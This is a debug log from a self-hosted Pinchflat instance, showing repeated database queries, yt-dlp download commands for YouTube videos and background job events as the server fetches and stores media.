OK source="media_items" db=0.0ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 20:53:09.257 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [6] 20:53:09.257 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:53:09.257 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:09.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:09.258 [debug] Running yt-dlp command for action: get_downloadable_status 20:53:09.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:09.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:09.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:09.258 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/99/de997aea6ff67aa6e85a29c6bd23b577e9a83cf920c0dae0a1538b0de0c1a30b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:53:11.845 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/99/de997aea6ff67aa6e85a29c6bd23b577e9a83cf920c0dae0a1538b0de0c1a30b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:53:11.845 [debug] Running yt-dlp command for action: download 20:53:11.846 [debug] QUERY OK source="settings" db=0.1ms idle=788.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:11.846 [debug] QUERY OK source="settings" db=0.0ms idle=788.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:11.846 [debug] QUERY OK source="settings" db=0.0ms idle=788.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:11.846 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ho4OgD1tPZY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/20/21/2021e9f6de769bf92c6f9e07ae78eec6cafa79a92f938e75b1d30864dee68957.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:53:15.953 [info] GET /sources 20:53:15.953 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:53:15.954 [debug] QUERY OK source="settings" db=0.2ms idle=896.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:15.955 [debug] QUERY OK source="settings" db=0.1ms idle=897.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:15.956 [debug] QUERY OK source="settings" db=0.3ms idle=898.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:15.957 [debug] QUERY OK source="settings" db=0.5ms idle=899.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:15.958 [debug] QUERY OK source="settings" db=0.2ms idle=355.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:15.959 [debug] QUERY OK source="sources" db=1.1ms idle=4.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:53:15.962 [debug] QUERY OK source="sources" db=2.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:53:15.964 [info] Sent 200 in 11ms 20:53:16.066 [info] CONNECTED TO Phoenix.LiveView.Socket in 40µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ay8nTiAALjkAWAk6Pw02N1MPGghYFgEvhHu-NeWUPk9MgAYtaL-9oAwB", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:53:16.132 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 20:53:16.134 [debug] QUERY OK source="sources" db=1.8ms idle=176.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:53:16.137 [debug] QUERY OK source="sources" db=2.5ms idle=177.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:53:16.138 [debug] Replied in 6ms 20:53:16.141 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:53:16.141 [debug] Replied in 201µs 20:53:28.586 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:58.588 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.565 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:28.590 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:58.592 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.566 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:03.630 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/61/3661c57e08ef3ec5339a053d3adf526f1bbeabd6c6fae24664b4fe4498b7bc2e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:55:03.641 [debug] Running yt-dlp command for action: download_thumbnail 20:55:03.642 [debug] QUERY OK source="settings" db=0.0ms idle=1584.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:03.642 [debug] QUERY OK source="settings" db=0.1ms idle=1584.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:03.642 [debug] QUERY OK source="settings" db=0.0ms idle=1584.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:03.642 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/5/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ba/23/ba23654cf48113b8788f3d2c2831ce624648b840f4deecdc1ba4a27423f441f8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:55:06.332 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=P62Tjxn9NLg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/5/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ba/23/ba23654cf48113b8788f3d2c2831ce624648b840f4deecdc1ba4a27423f441f8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:55:06.333 [debug] QUERY OK db=0.0ms idle=1275.4ms begin [] 20:55:06.333 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:55:03Z], "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", ~U[2026-03-28 00:55:06Z], 5] 20:55:06.333 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/5/metadata.json.gz", "/config/metadata/media_items/5/thumbnail.jpg", 5, ~U[2026-03-28 00:55:06Z], ~U[2026-03-28 00:55:06Z]] 20:55:06.334 [debug] QUERY OK db=0.0ms commit [] 20:55:06.334 [debug] QUERY OK source="media_items" db=0.5ms idle=1276.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [841796893, ~U[2026-03-28 00:55:06Z], 5] 20:55:06.334 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:55:06.335 [info] {"args":{"id":5},"id":8,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":238003246,"event":"job:stop","queue_time":253331387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:55:06.340 [info] {"args":{"id":7},"id":10,"meta":{},"system_time":1774659306340724984,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:55:06.340 [debug] QUERY OK source="media_items" db=0.0ms idle=283.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 20:55:06.341 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:55:06.341 [debug] QUERY OK source="sources" db=0.0ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:55:06.341 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:55:06.341 [debug] QUERY OK source="media_items" db=0.1ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 20:55:06.341 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [7] 20:55:06.342 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", 